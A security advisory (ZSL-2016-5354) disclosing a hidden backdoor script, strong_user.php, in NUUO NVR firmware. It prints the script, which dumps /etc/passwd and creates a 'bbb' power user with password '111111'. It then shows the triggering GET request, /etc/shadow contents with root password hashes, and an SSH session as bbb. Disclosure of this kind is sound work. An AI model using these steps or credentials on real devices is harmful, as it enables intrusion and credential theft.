NUUO 3.0.8 strong_user.php Backdoor Remote Shell Access

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NUUO Backdoor (strong_user.php) Remote Shell Access  
  
  
Vendor: NUUO Inc.  
Product web page: http://www.nuuo.com  
Affected version: <=3.0.8 (NE-4160, NT-4040)  
  
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS  
functionality. Setup is simple and easy, with automatic port forwarding  
settings built in. NVRmini 2 supports POS integration, making this the perfect  
solution for small retail chain stores. NVRmini 2 also comes full equipped as  
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping  
and RAID functions for data protection. Choose NVR and know that your valuable video  
data is safe, always.  
  
Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo devices have a hidden PHP script  
that when called, a backdoor user is created with poweruser privileges that is able  
to read and write files on the affected device. The backdoor user 'bbb' when created  
with the password '111111' by visiting 'strong_user.php' script is able to initiate a  
secure shell session and further steal and/or destroy sensitive information.  
  
==================================================================  
/strong_user.php:  
-------------------------------  
  
<?php  
  
  
  
class ReadPasswd{  
private $file;  
private $fileData;  
private $error;  
  
function __construct($file) {  
try{  
if (is_file($file))   
{  
$this->fileData = file($file);  
$this->file = $file;  
}  
else   
{  
throw new Exception("Couldnat open file.");  
}  
} catch (Exception $e) {  
$this->error[] = $e->getMessage();  
}  
}  
  
public function getAllHTML(){  
foreach ($this->fileData as $content)  
{  
$temp = explode(':', $content);  
$output .= "<b>Username: {$temp[0]} </b><br />";  
$output .= "Validation: {$temp[1]} <br />";  
$output .= "User Identifier: {$temp[2]} <br />";  
$output .= "Group Identifier: {$temp[3]} <br />";  
$output .= "Gecos Field: {$temp[4]} <br />";  
$output .= "Home Directory: {$temp[5]} <br />";  
$output .= "Shell: {$temp[6]} <br />";  
$output .= "<br />";  
}  
return $output;  
}  
  
public function getAllCLI() {  
foreach ($this->fileData as $content)  
{  
$temp = explode(':', $content);  
$output .= "Username: {$temp[0]} n";  
$output .= "Validation: {$temp[1]} n";  
$output .= "User Identifier: {$temp[2]} n";  
$output .= "Group Identifier: {$temp[3]} n";  
$output .= "Gecos Field: {$temp[4]} n";  
$output .= "Home Directory: {$temp[5]} n";  
$output .= "Shell: {$temp[6]} n";  
$output .= "n";  
}  
return $output;  
}  
  
public function searchUser($user,$data=0) {  
try{  
$data = array();  
if (is_string($user))   
{  
foreach($this->fileData as $line)  
{  
$temp = explode(':', $line);  
if (in_array($user,$temp))  
{  
if ($data) return 1;  
$data['username'] = $temp[0];  
$data['validation'] = $temp[1];  
$data['user_identifier'] = $temp[2];  
$data['group_identifier'] = $temp[3];  
$data['gecos'] = $temp[4];  
$data['home_directory'] = $temp[5];  
$data['shell'] = $temp[6];  
}  
  
}  
}  
else  
{  
throw new Exception('A search error has occured.');  
}  
} catch (Exception $e) {  
$this->error[] = $e->getMessage();  
}  
return $data;  
}  
  
public function getError() {  
return $this->error;  
}  
  
public function deleteUser($user) {  
try{  
if ($this->searchUser($user,1))  
{   
foreach ($this->fileData as $line)   
{  
$lines = explode(":",$line);  
if (!in_array($user,$lines))  
{  
$final .= $line;  
}  
}  
if(!file_put_contents($this->file,$final))  
{  
throw new Exception("Could not delete user.");  
}  
}  
else   
{  
throw new Exception("User doesnat exist.");  
}   
} catch (Exception $e) {  
echo $this->error[] = $e->getMessage();  
}  
}   
}  
  
  
  
  
  
  
  
  
  
/*  
  
echo "Strong test ";  
  
ma_getuser();  
ma_getgroup();  
  
$result = array('users' => array(), 'groups' => array());  
  
echo "<br>";  
echo $maUser;  
echo "<br>";  
echo $maGroup;  
echo "<br>";  
  
foreach($maGroup as $key =>$value)  
{  
$tmp = array();  
$tmp['groupname'] = $maGroup[$key]->strGroupname;  
$tmp['members'] = array();  
echo "Group (" . $key . ") === " . $maGroup[$key]->strGroupname;  
echo "<br><br>";  
ma_getgroupmember($maGroup[$key]->strGroupname);  
foreach ($maGroupmember as $mKey => $mValue)  
{  
echo " User ($mKey) ===> $mValue ";  
echo "<br>";  
array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);  
}  
//foreach($value as $userkey => $uservalue)  
//{  
// echo " User ($userkey) ===> $uservalue ";  
// echo "<br>";  
//}  
echo "<br>";  
echo implode(",", $tmp['members']);  
echo "<br>";  
$tmp['membersStr'] = implode(",", $tmp['members']);  
array_push($result['groups'], $tmp);  
}   
  
  
echo "<h1> Other </h1>";  
$tmp = array();  
$tmp['groupname'] = 'admin';  
ma_getgroupmember($tmp['groupname']);  
//ma_getgroupmember('');  
$tmp['members'] = array();  
foreach ($maGroupmember as $mKey => $mValue)  
{  
array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);  
echo $maGroupmember[$mKey]->strUsername . "<br>";  
}  
$tmp['membersStr'] = implode(",", $tmp['members']);  
array_push($result['groups'], $tmp);  
  
  
echo "<h1> USER </h1>";  
  
foreach ( $maUser as $key => $value)  
{  
$tmp = array();  
$tmp['username'] = $maUser[$key]->strUsername;  
$tmp['groups'] = array();  
foreach ($result['groups'] as $gKey => $gValue)  
{  
if (in_array($tmp['username'], $gValue['members']))  
array_push($tmp['groups'], $gValue['groupname']);  
}  
$tmp['groupsStr'] = implode(",", $tmp['groups']);  
echo $tmp['username'] . "<br>";  
echo $tmp['groupsStr'] . "<br>";  
array_push($result['users'], $tmp);  
}  
*/  
  
echo "<h1> Read Passwd </h1>";  
  
$passclass = new ReadPasswd('/etc/passwd');  
echo $passclass->getAllHTML();  
  
echo "<h1> add user </h1>";  
//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H; passwd bbb 111111");  
//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H");  
$output = system("adduser bbb -G poweruser -D ");  
  
  
/*   
  
$f = popen ("/usr/bin/passwd bbb","r");  
$read = fread($f, 1024);  
$out = fwrite($f,"111111\n");  
echo $read . " read 111 ,,, $out <br>";  
$read = fread($f, 1024);  
$out = fwrite($f,"111111\n");  
echo $read . " read 222 ,,, $out <br>";  
pclose($f);  
//echo $output . " kkk <br>";  
*/  
$descriptorspec = array(  
0 => array("pipe", "r"), // stdin is a pipe that the child will read from  
1 => array("pipe", "w") // stdout is a pipe that the child will write to  
);  
  
$process = proc_open('/usr/bin/passwd bbb', $descriptorspec, $pipes);  
if (is_resource($process))  
{  
$read = fread($pipes[1], 1024);  
$out = fwrite($pipes[0],"111111\n");  
echo $read . " read 111 ,,, $out <br>";  
$read = fread($pipes[1], 1024);  
$out = fwrite($pipes[0],"111111\n");  
echo $read . " read 111 ,,, $out <br>";  
  
fclose($pipes[0]);  
fclose($pipes[1]);  
}  
proc_close($process);  
  
  
  
//$handle = popen("/bin/ls", "r");  
//$read = fread($handle, 1024);  
//echo $read;  
//pclose($handle);  
  
?>  
  
==================================================================  
  
Tested on: GNU/Linux 3.0.8 (armv7l)  
GNU/Linux 2.6.31.8 (armv5tel)  
lighttpd/1.4.28  
PHP/5.5.3  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5354  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5354.php  
  
  
14.01.2016  
  
--  
  
  
#1  
Read of /etc/shadow file before backdoor was enabled:  
------------------------------------------------------  
  
root@nuuo:~# cat /etc/shadow  
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::  
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::  
bin:*:14495:0:99999:7:::  
daemon:*:14495:0:99999:7:::  
adm:*:14495:0:99999:7:::  
lp:*:14495:0:99999:7:::  
sync:*:14495:0:99999:7:::  
shutdown:*:14495:0:99999:7:::  
halt:*:14495:0:99999:7:::  
mail:*:14495:0:99999:7:::  
uucp:*:14495:0:99999:7:::  
operator:*:14495:0:99999:7:::  
games:*:14495:0:99999:7:::  
gopher:*:14495:0:99999:7:::  
ftp:*:14495:0:99999:7:::  
nobody:*:14495:0:99999:7:::  
vcsa:!!:14564::::::  
sshd:!!:14564::::::  
guest::14564:0:99999:7:::  
  
  
#2  
Issuing GET request to the script:  
-----------------------------------  
  
GET http://10.0.0.17/strong_user.php HTTP/1.1  
  
  
#3  
Read of /etc/shadow file after backdoor was enabled:  
-----------------------------------------------------  
  
root@nuuo:~# cat /etc/shadow  
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::  
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::  
bin:*:14495:0:99999:7:::  
daemon:*:14495:0:99999:7:::  
adm:*:14495:0:99999:7:::  
lp:*:14495:0:99999:7:::  
sync:*:14495:0:99999:7:::  
shutdown:*:14495:0:99999:7:::  
halt:*:14495:0:99999:7:::  
mail:*:14495:0:99999:7:::  
uucp:*:14495:0:99999:7:::  
operator:*:14495:0:99999:7:::  
games:*:14495:0:99999:7:::  
gopher:*:14495:0:99999:7:::  
ftp:*:14495:0:99999:7:::  
nobody:*:14495:0:99999:7:::  
vcsa:!!:14564::::::  
sshd:!!:14564::::::  
guest::14564:0:99999:7:::  
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::  
  
  
#4  
The backdoor account is able to read the /etc/shadow file:  
-----------------------------------------------------------  
  
login as: bbb  
[email protected]'s password:  
-sh-3.2$ id  
Using fallback suid method  
uid=1004(bbb) gid=1000(poweruser) groups=1000(poweruser)  
-sh-3.2$ cat /etc/shadow  
Using fallback suid method  
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::  
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::  
bin:*:14495:0:99999:7:::  
daemon:*:14495:0:99999:7:::  
adm:*:14495:0:99999:7:::  
lp:*:14495:0:99999:7:::  
sync:*:14495:0:99999:7:::  
shutdown:*:14495:0:99999:7:::  
halt:*:14495:0:99999:7:::  
mail:*:14495:0:99999:7:::  
uucp:*:14495:0:99999:7:::  
operator:*:14495:0:99999:7:::  
games:*:14495:0:99999:7:::  
gopher:*:14495:0:99999:7:::  
ftp:*:14495:0:99999:7:::  
nobody:*:14495:0:99999:7:::  
vcsa:!!:14564::::::  
sshd:!!:14564::::::  
guest::14564:0:99999:7:::  
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::  
-sh-3.2$  
`